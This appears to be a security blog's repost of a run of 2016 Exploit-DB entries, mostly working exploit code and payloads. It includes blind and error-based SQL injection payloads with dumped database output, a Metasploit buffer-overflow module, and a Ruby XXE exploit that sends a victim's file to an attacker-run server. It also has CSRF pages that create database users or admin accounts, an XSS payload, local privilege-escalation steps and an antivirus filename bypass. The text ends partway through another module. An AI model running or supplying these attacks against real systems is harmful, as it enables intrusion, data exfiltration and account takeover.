Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287832

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Drale DBTableViewer v100123 - Blind SQL Injection

# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base)
# Date: 2016-06-08
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://drale.com/
# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip
# Version: Drale DBTableViewer v100123
# Tested on: Debian [wheezy]
# CVE : none

### VULNERABILITY
"orderby" parameter in DBTableViewer is vulnerable.
This parameter can be performed using blind injection.

### SQLMAP QUERY
#> sqlm -u "http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC" --level 4 --risk 3 --dbms=mysql

### SQLMAP OUTPUT
sqlmap identified the following injection points with a total of 727 HTTP(s) requests:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
    Payload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC
---
[12:03:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.1
....

[12:07:33] [INFO] retrieved: zoph
[12:07:33] [INFO] retrieved: zzzz
available databases [25]:
[*] "
[*] ""
[*] '
[*] ''
[*] '''
[*] api
[*] blackcat
[*] edusec
            
Source: https://twitter.com/halsten/status/740380171694280704

Win/Mac #MSFT Word #0day POC having 3 different forced triggers. Happy exploitation!

Let Word recover it, its essential, and then you can trigger the bug afterwards in 3 ways, Save, Close/Save, change format.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39906.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Poison Ivy 2.1.x C2 Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
        The exploit does not need to know the password chosen for the bot/server communication.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
        ],
      'DisclosureDate' => 'Jun 03 2016',
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'             => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Poison Ivy 2.1.4 on Windows XP SP3',
            {
              'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
              'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
              'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
              'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
              'Packet2Offset' => 0xB9E # offset of second packet within server's response
            }
          ]
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(3460)
      ], self.class)

  end

  # XOR two strings
  def xor_strings(s1, s2)
    s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
  end

  # Obtain keystream using known plaintext
  def get_keystream(ciphertext, knownPlaintext)
    if(ciphertext.length < knownPlaintext.length)
      return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
    else
      return xor_strings(ciphertext, knownPlaintext)
    end
  end

  # Apply keystream to plaintext
  def use_keystream(plaintext, keyStream)
    if(keyStream.length > plaintext.length)
      return xor_strings(plaintext, keyStream[0, plaintext.length])
    else
      return xor_strings(plaintext, keyStream)
    end
  end

  def check
    connect
    # Poke
    sock.put("\x01")
    # Fetch response
    response = sock.get_once(6)

    if (response == "\x89\xFF\x90\x0B\x00\x00")
      vprint_status("Poison Ivy C&C version 2.1.4 detected.")
      return Exploit::CheckCode::Appears
    elsif (response == "\x89\xFF\x38\xE0\x00\x00")
      vprint_status("Poison Ivy C&C version 2.0.0 detected.")
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Safe
  end

  # Load known plaintext chunk
  def load_c2_packet_chunk
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
    chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
    chunk
  end

  def exploit
    # Known plaintext from C2 packet
    knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
    knownPlaintext2 = load_c2_packet_chunk()

    # detour shellcode (mov eax, StoreAddress; jmp eax)
    detourShellcode =  "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
    detourShellcode << "\xFF\xE0" # jmp eax

    # Padding where necessary
    compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)

    # Construct exploit buffer
    exploitBuffer =  Rex::Text.rand_text_alpha(4)              # infoLen (placeholder)
    exploitBuffer << compressedBuffer                          # compressedBuffer
    exploitBuffer << "\xFF" * 0x104                            # readfds
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # compressionType
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # decompressSize (placeholder)
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # pDestinationSize
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # infoSize (placeholder)
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # headerAllocSize
    exploitBuffer << [target['StoreAddress']].pack("V")        # decompressBuffer
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # decompressBuffer+4
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # lParam
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # timeout
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # hWnd
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # s
    exploitBuffer << Rex::Text.rand_text_alpha(4)              # old EBP
    exploitBuffer << [target['Ret']].pack("V")    # EIP
    exploitBuffer << [target['StoreAddress']].pack("V")  # arg_0
    exploitBuffer << detourShellcode # detour to storage area

    # Calculate values
    allocSize = exploitBuffer.length + 1024
    infoLen = payload.encoded.length
    infoSize = (infoLen + 4)

    # Handshake
    connect
    print_status("Performing handshake...")

    # Poke
    sock.put("\x01")

    # Fetch response
    response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)

    eHeader = response[target['Packet2Offset'], 6]
    eInfo = response[target['Packet2Offset'] + 10..-1]

    if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
      # Keystream derivation using Known Plaintext Attack
      keyStream1 = get_keystream(eHeader, knownPlaintext1)
      keyStream2 = get_keystream(eInfo, knownPlaintext2)

      # Set correct infoLen
      exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]

      # Set correct decompressSize
      exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]

      # Build packet
      malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)

      # Encrypt infoSize bytes
      encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]

      # Make sure infoSize gets overwritten properly since it is processed before decryption
      encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]

      # Finalize packet
      exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer

      print_status("Sending exploit...")
      # Send exploit
      sock.put(exploitPacket)
    else
      print_status("Not enough keystream available...")
    end

    select(nil,nil,nil,5)
    disconnect
  end

end
            
# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
# Date: 06-05-2016
# Exploit Author: Roland C. Redl
# Vendor Homepage: https://www.matrix42.com/
# Software Link: n/a
# Version: 3.20.0031
# Tested on: Windows 7 Enterprise SP1 x64
# CVE : n/a

1. Description:

>sc qc FastViewerRemoteProxy
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FastViewerRemoteProxy
        TYPE : 10  WIN32_OWN_PROCESS
        START_TYPE : 4   DISABLED
        ERROR_CONTROL : 1   NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
        LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : FastViewer Proxyservice
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem

>sc qc FastViewerRemoteService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FastViewerRemoteService
        TYPE : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE  : 2   AUTO_START
        ERROR_CONTROL  : 1   NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
        LOAD_ORDER_GROUP :
        TAG  : 0
        DISPLAY_NAME : FastViewer Remoteservice
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem

The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.

2. Proof of concept:

Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.

3. Solution: 

To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service. 
            
#!/usr/bin/ruby
#
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
# Date: June 9, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
# Version: 8.3
# Tested On: RHEL7
#
# Description:
#     When using an XML parser on returned data by a remote node, OMSA does not
#     restrict the use of external entities.
#
#     This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
#     requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
#
#     Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
#     to parse returned XML, and when the OMSA instance requests this XML from
#     the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
#     includes a XXE attack, revealing the contents of /etc/redhat-release.
#
#     Because OMSA merely requires you be authenticated to the node you are
#     managing, which we control, authentication to the victim is not required
#     to exploit this vulnerability.
#
#     To use, change line 55 to your victim IP. If you have multiple network
#     interfaces, you may wish to manually specify which one will be accessible
#     to the victim on line 60.
#
#     Note: during testing, OMSA would periodically begin rejecting connections
#     to fake nodes and would need to be restarted; do not expect multiple runs
#     against the same victim to be successful unless you can restart it.
#
# Copyright (C) 2016 hantwister
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#

require 'webrick'
require 'webrick/https'
require 'nokogiri'
require 'securerandom'
require "net/http"
require "uri"

victimip = nil
if victimip.nil?
  abort "You should modify this file and specify a victim IP."
end

attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"

sleep 10

wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])

wsmanCallback.mount_proc '/wsman' do |req, res|
  doc = Nokogiri::XML(req.body) do |config|
    config.options = Nokogiri::XML::ParseOptions::NONET
  end

  doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
    res.status = 200
    res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
    res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
  end

  doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
    dellCmd = dellRequest.child.text

    respText = " "
    if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
      userRights = (7 + (7 << 16))
      respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
    elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
      respText = "<ProductVersion>6.0.3</ProductVersion>"
    elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
      respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n  <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n  <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
    end

    resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")

    resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
    resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
    resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid

    resDoc.xpath('//n1:ReturnValue').first.content=respText

    res.status = 200
    res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
    res.body = resDoc.to_xml
  end
end

wsmanThread = Thread.new do
  wsmanCallback.start
end

xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)

xxeCallback.mount_proc '/stage2.dtd' do |req, res|
  res.status = 200
  res['Content-Type'] = 'application/xml-dtd'
  res.body = "<!ENTITY % all\n \"<!ENTITY &#x25; send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
end

result = nil

xxeCallback.mount_proc '/xxe' do |req, res|
  result = req.query['result']
  wsmanCallback.shutdown
  xxeCallback.shutdown
end

xxeThread = Thread.new do
  xxeCallback.start
end

trap 'INT' do
  wsmanCallback.shutdown
  xxeCallback.shutdown
  abort "Exiting"
end

httpConn = Net::HTTP.new(victimip, 1311)
httpConn.use_ssl=true
httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE

print "\n\nRequesting that the victim log onto this malicious node...\n\n"

logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false")
logonReq = Net::HTTP::Post.new(logonUri.request_uri)
logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"})

logonRes = httpConn.request(logonReq)

jSessionId = logonRes['Set-Cookie']
jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)]

vid = logonRes['Location']
vid = vid[(vid.index('&vid=')+5)..-1]

print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n"

pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}")
pluginReq = Net::HTTP::Get.new(pluginUri.request_uri)
pluginReq['Cookie']="JSESSIONID=#{jSessionId}"

pluginRes = httpConn.request(pluginReq)

wsmanThread.join
xxeThread.join

print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?
            
<!--
# Exploit Title: miniMySQLAdmin 1.1.3 - CSRF(Execute SQL Query)
# Date: 2016-06-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://xdsoft.net/minimysqladmin.html
# Software Link: https://github.com/xdan/miniMySQLAdmin/archive/master.zip
# Version: v1.1.3
# Tested on: Debian [wheezy]
# CVE : none
-->

<hr>
<form name="csrf_poc" action="http://192.168.0.14/vul_test/target/miniMySQLAdmin/" method="GET">
<input type="hidden" name="dbname" value="mysql">
<input type="hidden" name="table" value="user">
<input type="hidden" name="sql" value="create user exploit_user">  <!-- SQL Query -->

<input type="submit" value="Replay!">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>

<!-- 
#### Output ####

#> select * from `user` order by `User` asc  limit 20

Host	User
%      exploit_user1

-->
            
<!--
# Exploit Title: Mobiketa - CSRF Add Admin Exploit
# Date: 09/06/2016
# Exploit Author: Murat YILMAZLAR
# Vendor Homepage: http://www.ynetinteractive.com/mobiketa/
# Version: 1.0

# Exploit:

< -- bug code started -- >
-->

<html>
  <body>
    <form action="[SITE]/[mobiketa_path]/index.php?url=user" method="POST"
enctype="multipart/form-data">
      <input type="hidden" name="is&#95;admin" value="1" />
      <input type="hidden" name="name" value="murat&#32;y" />
      <input type="hidden" name="email"
value="murrat&#64;protonmail&#46;com" />
      <input type="hidden" name="username" value="murrat" />
      <input type="hidden" name="password" value="123123123" />
      <input type="hidden" name="id" value="15" />
      <input type="hidden" name="update" value="&#13;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
< -- end of the bug code -- >

#########################

[+] Contact: http://twitter.com/muratyilmazlarr
-->
            
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
# Date: 09-06-2016
# Software Link: http://www.phpmyfaq.de/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.

But this function doesn’t protect against XSS.

http://security.szurek.pl/phpmyfaq-290-stored-xss.html

2. Proof of Concept

By default every user can propose faq entries.

When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:

http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl

For exploitation use folowing url inside Link for this FAQ field:

http://example.com/"><script>alert("xss")</script>

3. Solution:
   
Update to version 2.9.1
            
/*
# Exploit Title : Armadito antimalware - Backdoor/Bypass
# Date : 07-06-2016 (DD-MM-YYYY)
# Exploit Author : Ax.
# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/
# Software Link : https://github.com/41434944/armadito-av
# Version : No version specified. Fixed 07-06-2016 post-disclosure
# Tested on : Windows 7

1. Description
Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security).

2. Proof Of Concept
As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented.

[SOURCE]
			if (msDosFilename == NULL) {
				a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId);				
				scan_result = ARMADITO_EINVAL;
			}
			else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) {  // Do not scan the log file. (debug only)
				scan_result = ARMADITO_WHITE_LISTED;
			}
			else {

				// launch a simple file scan
				//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
				scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
				a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
				printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));

			}
[/SOURCE]

Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit.

3. Solution

Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work).

3 bis. Real solution

It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c)
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define BUFSIZE 4096
#define MAX_PATH_SIZE 255
#define ARMADITO_EINVAL 0
#define ARMADITO_WHITE_LISTED 1
char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName)
{
	char deviceDosName[BUFSIZE];
	char deviceLetter[3] = { '\0' };
	char deviceNameQuery[BUFSIZE] = { '\0' };
	char * deviceDosFilename = NULL;
	DWORD len = 0;
	DWORD len2 = 0;
	DWORD ret = 0;
	BOOL bFound = FALSE;
	char * tmp;

	if (DeviceFileName == NULL) {
		//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n");
		printf("FileName null.\n");
		return NULL;
	}

	// Get the list of the logical drives.
	len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName);
	if (len == 0) {
		//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed ::  error code = 0x%03d", GetLastError());
		printf("Error : GetLogicalDriveStringsA()\n");
		return NULL;
	}


	tmp = deviceDosName;

	do {

		//printf("[+] Debug :: deviceDosName = %s\n",tmp);

		// Get the device letter without the backslash (Ex: C:).
		memcpy_s(deviceLetter, 2, tmp, 2);

		if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) {
			//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed ::  error code = 0x%03d\n", GetLastError());
			printf("Error : QuedryDosDeviceA()\n");
			return NULL;
		}
		
		//printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
		if (deviceNameQuery == NULL) {
			//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed ::  deviceNameQuery is NULL\n", GetLastError());
			printf("deviceNameQuery null.\n");
		}

		if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) {
			//printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);

			len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE);
			len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3;

			deviceDosFilename = (char*)calloc(len + 1, sizeof(char));
			deviceDosFilename[len] = '\0';

			memcpy_s(deviceDosFilename, len, tmp, 3);
			memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1);

			bFound = TRUE;

		}

		// got to the next device name.
		while (*tmp++);
		//printf("[+] Debug :: next device name = %s\n",tmp);


	} while (bFound == FALSE && *tmp);


	if (bFound == FALSE) {
		return NULL;
	}

	return deviceDosFilename;
}


int main(int argc, char ** argv)
{
	char * msDosFilename = NULL;
	int i = 0;
	LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */
	LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */
	LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */
	char *string;
	int scan_result = -1;
	
	/* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/
	// msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName);
	for (i = 0; i < 3; i++)
	{
		if (i == 0)
		{
			printf("Scanning C:\\ARMADITO.txt\n");
			msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile);
		}
		else if (i == 1)
		{
			printf("Scanning C:\\malware.exe\n");
			msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile);
		}
		else
		{
			printf("Scanning C:\\ARMADITO.txt-ILoveJeromeNotin.exe\n");
			msDosFilename = ConvertDeviceNameToMsDosName(BinaryPOCFile);
		}
		//report.status = ARMADITO_CLEAN;
		/* If the ConvertDeviceNametoMsDosName fails */
		if (msDosFilename == NULL) {
			//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n", ThreadId);
			scan_result = ARMADITO_EINVAL;
		}
		/* If it contains ARMADITO.TXT ... SERIOUSLY ? */
		
		else if (strstr(msDosFilename, "ARMADITO.TXT") != NULL) {  // Do not scan the log file. (debug only)
			scan_result = ARMADITO_WHITE_LISTED;
			printf("This file is not suspicious. Since it contains ARMADITO.txt ........... \n");
		}
		else {
			/* Armadito basic scan */
			printf("Armadito will now scan the file.\n");
			// launch a simple file scan
			//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
			//scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
			//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
			//printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));

		}

		printf("\n\n");
	}


	getchar();
	return 0;
}
            
------------------------------------------------------------------------------------
# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation
# Date: 03/06/16
# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he
probably found this too)
# Vendor Homepage: http://www.leagueoflegends.com
# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one)
# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system

Description:

The League of Legends Folder is installed with insecure file
permissions. It was found that all folder and most file permissions were
incorrectly configured during installation. It was possible to replace most
binaries.
This can be used to get a horizontal and vertical privilege escalation.

POC :

C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends"
C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F)
                                BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
                                AUTORITE NT\Système:(I)(F)
                                AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
                                BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                AUTORITE NT\Utilisateurs authentifiés:(I)(M)
                                AUTORITE NT\Utilisateurs
authentifiés:(I)(OI)(CI)(IO)(M)


POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E


Additional Notes :

"Based on our assessment, we feel that the severity and risk related to
this issue is low. We are going to mark this as a won't fix as we're
planning on will be taking this functionality offline soon with our new
league client."

"we determined that there are some design choices regarding the game client
install location and default permissions that prevent us from changing the
current behavior."

I've try to explain that file permissions aren't a functionality that you
take offline or design choices, without success. Sorry guys you will have
to patch this manually..

Related report :
 https://www.exploit-db.com/exploits/39903/

------------------------------------------------------------------------------------
            
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'IPFire proxy.cgi RCE',
        'Description' => %q(
          IPFire, a free linux based open source firewall distribution,
